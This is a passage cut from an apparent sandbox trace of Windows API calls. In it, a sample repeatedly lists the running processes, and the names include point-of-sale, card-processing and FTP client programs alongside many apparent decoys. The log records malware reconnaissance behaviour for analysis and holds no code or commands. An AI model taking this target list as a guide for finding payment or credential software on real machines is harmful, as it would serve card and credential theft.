szExeFile="webdrive.exe")) returned 1 [0270.319] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0270.320] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0270.322] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0270.324] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0270.325] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0270.327] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0270.328] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0270.330] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0270.335] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0270.336] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0270.338] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0270.339] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0270.341] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0270.342] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0270.343] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0270.345] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0270.395] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0270.397] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0270.398] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0270.400] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0270.401] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0270.403] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0270.404] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0270.406] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0270.407] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0270.409] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0270.411] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0270.413] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0270.414] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0270.415] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0270.417] CloseHandle (hObject=0x344) returned 1 [0270.417] Sleep (dwMilliseconds=0x64) [0270.458] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0270.469] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.471] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0270.522] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0270.524] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.525] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0270.526] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.528] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0270.529] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0270.531] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0270.532] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.533] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.535] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0270.536] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.537] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.539] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.540] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.541] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.543] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.544] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.545] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0270.547] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0270.548] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0270.549] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.551] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0270.552] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0270.554] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0270.555] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0270.556] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.558] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0270.559] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0270.560] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0270.562] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0270.563] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0270.565] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0270.617] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0270.619] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0270.620] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0270.621] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0270.623] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0270.624] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0270.625] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0270.626] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0270.628] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0270.629] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0270.631] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0270.632] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0270.633] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0270.634] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0270.636] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0270.637] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0270.638] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0270.640] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0270.641] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0270.642] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0270.644] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 